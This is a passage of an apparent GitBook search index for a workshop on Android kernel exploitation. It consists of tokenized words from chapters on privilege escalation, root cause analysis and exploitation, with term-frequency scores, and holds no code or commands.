},"_":{"docs":{},"c":{"docs":{},"p":{"docs":{},"u":{"docs":{},"t":{"docs":{},"i":{"docs":{},"m":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}},"e":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}}},"i":{"docs":{},"o":{"docs":{},"u":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694},"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362}}}}},"e":{"docs":{},"n":{"docs":{},"t":{"docs":{"chapters/vulnerability-discovery.html":{"ref":"chapters/vulnerability-discovery.html","tf":0.003205128205128205},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}},",":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}},";":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}},"b":{"docs":{},"u":{"docs":{},"i":{"docs":{},"l":{"docs":{},"t":{"docs":{},".":{"docs":{},"q":{"docs":{},"e":{"docs":{},"m":{"docs":{},"u":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0011594202898550724}}}}}}}}}}}}},"i":{"docs":{},"o":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}},"r":{"docs":{},"i":{"docs":{},"t":{"docs":{},"i":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}},"v":{"docs":{},"a":{"docs":{},"t":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.0012782275244993609}},"e":{"docs":{},"_":{"docs":{},"d":{"docs":{},"a":{"docs":{},"t":{"docs":{},"a":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}}}}}},"i":{"docs":{},"l":{"docs":{},"e":{"docs":{},"g":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":3.3346115608578324},"chapters/vulnerability-discovery.html":{"ref":"chapters/vulnerability-discovery.html","tf":0.003205128205128205},"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":3.344740177439797},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0008401008120974517}},"e":{"docs":{},"s":{"docs":{},".":{"docs":{"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0038022813688212928}}}}}}}}}},"m":{"docs":{},"i":{"docs":{},"t":{"docs":{"chapters/vulnerability-discovery.html":{"ref":"chapters/vulnerability-discovery.html","tf":0.003205128205128205},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0016802016241949033}},"i":{"docs":{},"v":{"docs":{},"e":{"docs":{},".":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}},"s":{"docs":{},".":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}}}}}},"n":{"docs":{},"t":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}},"_":{"docs":{},"a":{"docs":{},"d":{"docs":{},"d":{"docs":{},"r":{"docs":{},"e":{"docs":{},"s":{"docs":{},"s":{"docs":{},"_":{"docs":{},"d":{"docs":{},"e":{"docs":{},"s":{"docs":{},"c":{"docs":{},"r":{"docs":{},"i":{"docs":{},"p":{"docs":{},"t":{"docs":{},"i":{"docs":{},"o":{"docs":{},"n":{"docs":{},"+":{"0":{"docs":{},"x":{"8":{"1":{"docs":{},"/":{"0":{"docs":{},"x":{"2":{"5":{"docs":{},"d":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0011594202898550724}}}},"docs":{}},"docs":{}}},"docs":{}}},"docs":{}},"docs":{}}},"docs":{}}}}}}}}}}}}}}}}}}}}}}}}}},"y":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.0021691973969631237}},"t":{"docs":{},"h":{"docs":{},"o":{"docs":{},"n":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.013015184381778741},"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362},"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0076045627376425855},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0014265335235378032}}}}}}},"d":{"docs":{},"e":{"docs":{},"a":{"docs":{},"t":{"docs":{},"h":{"docs":{},"_":{"docs":{},"s":{"docs":{},"i":{"docs":{},"g":{"docs":{},"n":{"docs":{},"a":{"docs":{},"l":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}}}}}}},"i":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.0008521516829995739}},"_":{"docs":{},"l":{"docs":{},"o":{"docs":{},"c":{"docs":{},"k":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}},"s":{"docs":{},"t":{"docs":{},"a":{"docs":{},"t":{"docs":{},"e":{"docs":{},"_":{"docs":{},"l":{"docs":{},"i":{"docs":{},"s":{"docs":{},"t":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}}}}},"w":{"docs":{},"a":{"docs":{},"i":{"docs":{},"t":{"docs":{},"e":{"docs":{},"r":{"docs":{},"s":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}}},"d":{"docs":{"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0038022813688212928}},"/":{"docs":{},"p":{"docs":{},"i":{"docs":{},"d":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}},"_":{"docs":{},"l":{"docs":{},"i":{"docs":{},"n":{"docs":{},"k":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}},"t":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.0008521516829995739},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0005600672080649678}}}},"s":{"docs":{},"[":{"docs":{},"p":{"docs":{},"i":{"docs":{},"d":{"docs":{},"t":{"docs":{},"y":{"docs":{},"p":{"docs":{},"e":{"docs":{},"_":{"docs":{},"m":{"docs":{},"a":{"docs":{},"x":{"docs":{},"]":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}}}}}}}}},":":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0011594202898550724},"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0019011406844106464}}},"o":{"docs":{},"f":{"docs":{"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0038022813688212928}}}},")":{"docs":{},")":{"docs":{},";":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}},"p":{"docs":{},"e":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.004760571268552226}},"_":{"docs":{},"i":{"docs":{},"n":{"docs":{},"o":{"docs":{},"d":{"docs":{},"e":{"docs":{},"_":{"docs":{},"i":{"docs":{},"n":{"docs":{},"f":{"docs":{},"o":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}}}},"f":{"docs":{},"d":{"docs":{},"[":{"0":{"docs":{},"]":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}},"1":{"docs":{},"]":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}},"2":{"docs":{},"]":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}},"docs":{}}}}},",":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}},".":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}},"\\":{"docs":{},"n":{"docs":{},"\"":{"docs":{},")":{"docs":{},";":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0005600672080649678}}}}}}}}},"x":{"docs":{},"e":{"docs":{},"l":{"docs":{"chapters/vulnerability-discovery.html":{"ref":"chapters/vulnerability-discovery.html","tf":0.00641025641025641}}}}},"i":{"docs":{},"x":{"docs":{},",":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0011594202898550724}}}}},"c":{"docs":{},"t":{"docs":{},"u":{"docs":{},"r":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}},"e":{"docs":{},".":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}}}}},"s":{"docs":{},"i":{"docs":{},"_":{"docs":{},"f":{"docs":{},"l":{"docs":{},"a":{"docs":{},"g":{"docs":{},"s":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}}},"t":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}},"e":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}},"r":{"docs":{},"a":{"docs":{},"c":{"docs":{},"e":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}},"(":{"docs":{},")":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}},"_":{"docs":{},"a":{"docs":{},"t":{"docs":{},"t":{"docs":{},"a":{"docs":{},"c":{"docs":{},"h":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}},"e":{"docs":{},"n":{"docs":{},"t":{"docs":{},"r":{"docs":{},"y":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}},"m":{"docs":{},"e":{"docs":{},"s":{"docs":{},"s":{"docs":{},"a":{"docs":{},"g":{"docs":{},"e":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}}},"d":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}},")":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}},"_":{"docs":{},"r":{"docs":{},"e":{"docs":{},"g":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}}},"u":{"docs":{},"s":{"docs":{},"h":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0011594202898550724},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0005706134094151213}},"a":{"docs":{},"b":{"docs":{},"l":{"docs":{},"e":{"docs":{},"_":{"docs":{},"d":{"docs":{},"l":{"docs":{},"_":{"docs":{},"t":{"docs":{},"a":{"docs":{},"s":{"docs":{},"k":{"docs":{},"s":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}}},"t":{"docs":{},"a":{"docs":{},"s":{"docs":{},"k":{"docs":{},"s":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}}}}},"e":{"docs":{},"d":{"docs":{},",":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}},"i":{"docs":{},"n":{"docs":{},"g":{"docs":{},":":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}}}},"t":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}},"b":{"docs":{},"l":{"docs":{},"i":{"docs":{},"s":{"docs":{},"h":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}}}},"c":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0011594202898550724}}},")":{"docs":{},";":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}},"w":{"docs":{},"a":{"docs":{},"k":{"docs":{},"e":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}},"q":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0008559201141226819}},"l":{"docs":{},"i":{"docs":{},"s":{"docs":{},"t":{"docs":{},";":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}}}}},",":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}},";":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}},"s":{"docs":{"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0076045627376425855},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0005706134094151213}},"t":{"docs":{},"a":{"docs":{},"r":{"docs":{},"t":{"docs":{"./":{"ref":"./","tf":0.05},"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.0021691973969631237},"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694},"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0005706134094151213},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0008401008120974517}},",":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.0021691973969631237},"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0019011406844106464},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}},"_":{"docs":{},"t":{"docs":{},"i":{"docs":{},"m":{"docs":{},"e":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}},"c":{"docs":{},"k":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.0012782275244993609},"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0019602352282273874}},"_":{"docs":{},"c":{"docs":{},"a":{"docs":{},"n":{"docs":{},"a":{"docs":{},"r":{"docs":{},"y":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}},"r":{"docs":{},"e":{"docs":{},"f":{"docs":{},"c":{"docs":{},"o":{"docs":{},"u":{"docs":{},"n":{"docs":{},"t":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}}}},",":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}},"l":{"docs":{},"l":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}},"m":{"docs":{},"p":{"docs":{},":":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}},"n":{"docs":{},"d":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}},"a":{"docs":{},"r":{"docs":{},"d":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0011594202898550724}}}}}}},"t":{"docs":{},"e":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.0012782275244993609},"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0011594202898550724},"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0019011406844106464}},":":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.0008521516829995739}}},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}},"m":{"docs":{},"e":{"docs":{},"n":{"docs":{},"t":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}}},"i":{"docs":{},"c":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694},"chapters/vulnerability-discovery.html":{"ref":"chapters/vulnerability-discovery.html","tf":0.003205128205128205},"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.002318840579710145},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.007988587731811698},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0022402688322598714}},"_":{"docs":{},"p":{"docs":{},"r":{"docs":{},"i":{"docs":{},"o":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}},"u":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0011594202898550724}}},"s":{"docs":{},";":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}},"g":{"docs":{},"e":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362}}}},"y":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0008401008120974517}}}},"r":{"docs":{},"e":{"docs":{},"a":{"docs":{},"m":{"docs":{"./":{"ref":"./","tf":0.05}}}}},"i":{"docs":{},"c":{"docs":{},"t":{"docs":{},"l":{"docs":{},"i":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}},"p":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}},"=":{"docs":{},"/":{"docs":{},"h":{"docs":{},"o":{"docs":{},"m":{"docs":{},"e":{"docs":{},"/":{"docs":{},"a":{"docs":{},"s":{"docs":{},"h":{"docs":{},"f":{"docs":{},"a":{"docs":{},"q":{"docs":{},"/":{"docs":{},"w":{"docs":{},"o":{"docs":{},"r":{"docs":{},"k":{"docs":{},"s":{"docs":{},"h":{"docs":{},"o":{"docs":{},"p":{"docs":{},"/":{"docs":{},"a":{"docs":{},"n":{"docs":{},"d":{"docs":{},"r":{"docs":{},"o":{"docs":{},"i":{"docs":{},"d":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}},"u":{"docs":{},"c":{"docs":{},"t":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.046868342564976566},"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0011594202898550724},"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0019011406844106464},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.023965763195435093},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.012601512181461775}},"u":{"docs":{},"r":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.0012782275244993609},"chapters/vulnerability-discovery.html":{"ref":"chapters/vulnerability-discovery.html","tf":0.003205128205128205},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.015977175463623396},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.007000840100812098}},"e":{"docs":{},".":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.0008521516829995739},"chapters/vulnerability-discovery.html":{"ref":"chapters/vulnerability-discovery.html","tf":0.003205128205128205},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0019971469329529245},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0008401008120974517}}},"s":{"docs":{},":":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}},"'":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0005706134094151213}}}}}},".":{"docs":{},"p":{"docs":{},"a":{"docs":{},"c":{"docs":{},"k":{"docs":{},"(":{"docs":{},"\"":{"docs":{"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0019011406844106464}}}}}}}}}}}},"o":{"docs":{},"n":{"docs":{},"g":{"docs":{},"l":{"docs":{},"i":{"docs":{"chapters/vulnerability-discovery.html":{"ref":"chapters/vulnerability-discovery.html","tf":0.003205128205128205}}}}}}},"a":{"docs":{},"t":{"docs":{},"e":{"docs":{},"g":{"docs":{},"i":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}}}},"u":{"docs":{},"d":{"docs":{},"i":{"docs":{},"o":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.008676789587852495},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0005706134094151213}}}}},"c":{"docs":{},"k":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}},"i":{"docs":{},"m":{"docs":{},"e":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}},"s":{"docs":{},"c":{"docs":{},"a":{"docs":{},"l":{"docs":{},"e":{"docs":{},"d":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}}}},"o":{"docs":{},"p":{"docs":{},"p":{"docs":{},"e":{"docs":{},"d":{"docs":{},":":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}},"_":{"docs":{},"s":{"docs":{},"h":{"docs":{},"i":{"docs":{},"p":{"docs":{},"_":{"docs":{},"t":{"docs":{},"r":{"docs":{},"a":{"docs":{},"c":{"docs":{},"e":{"docs":{},"p":{"docs":{},"r":{"docs":{},"i":{"docs":{},"n":{"docs":{},"t":{"docs":{},"k":{"docs":{},"=":{"1":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}},"docs":{}}}}}}}}}}}}}}}}}}}},"r":{"docs":{},"e":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0014265335235378032},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0005600672080649678}}},"i":{"docs":{"chapters/vulnerability-discovery.html":{"ref":"chapters/vulnerability-discovery.html","tf":0.003205128205128205}}}},"n":{"docs":{},"e":{"docs":{"chapters/vulnerability-discovery.html":{"ref":"chapters/vulnerability-discovery.html","tf":0.003205128205128205},"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0005600672080649678}}}}}},"e":{"docs":{},"r":{"docs":{},"i":{"docs":{},"a":{"docs":{},"l":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}},"=":{"0":{"docs":{},")":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.0021691973969631237}}}},"docs":{}}}}}},"t":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.0021303792074989347},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0025677603423680455},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.004200504060487258}},"u":{"docs":{},"p":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":5.002169197396963},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0005600672080649678}},"_":{"docs":{},"n":{"docs":{},"e":{"docs":{},"w":{"docs":{},"_":{"docs":{},"e":{"docs":{},"x":{"docs":{},"e":{"docs":{},"c":{"docs":{},"(":{"docs":{},")":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}}}}},"b":{"docs":{},"i":{"docs":{},"n":{"docs":{},"d":{"docs":{},"e":{"docs":{},"r":{"docs":{},"(":{"docs":{},")":{"docs":{},";":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0005600672080649678}}}}}}}}}}},"e":{"docs":{},"v":{"docs":{},"e":{"docs":{},"n":{"docs":{},"t":{"docs":{},"p":{"docs":{},"o":{"docs":{},"l":{"docs":{},"l":{"docs":{},"(":{"docs":{},")":{"docs":{},";":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0005600672080649678}}}}}}}}}}}}}}}},"_":{"docs":{},"r":{"docs":{},"e":{"docs":{},"s":{"docs":{},"t":{"docs":{},"o":{"docs":{},"r":{"docs":{},"e":{"docs":{},"_":{"docs":{},"s":{"docs":{},"i":{"docs":{},"g":{"docs":{},"m":{"docs":{},"a":{"docs":{},"s":{"docs":{},"k":{"docs":{},"(":{"docs":{},")":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}}}}}}}}}}},"t":{"docs":{},"r":{"docs":{},"a":{"docs":{},"c":{"docs":{},"k":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0011594202898550724},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-an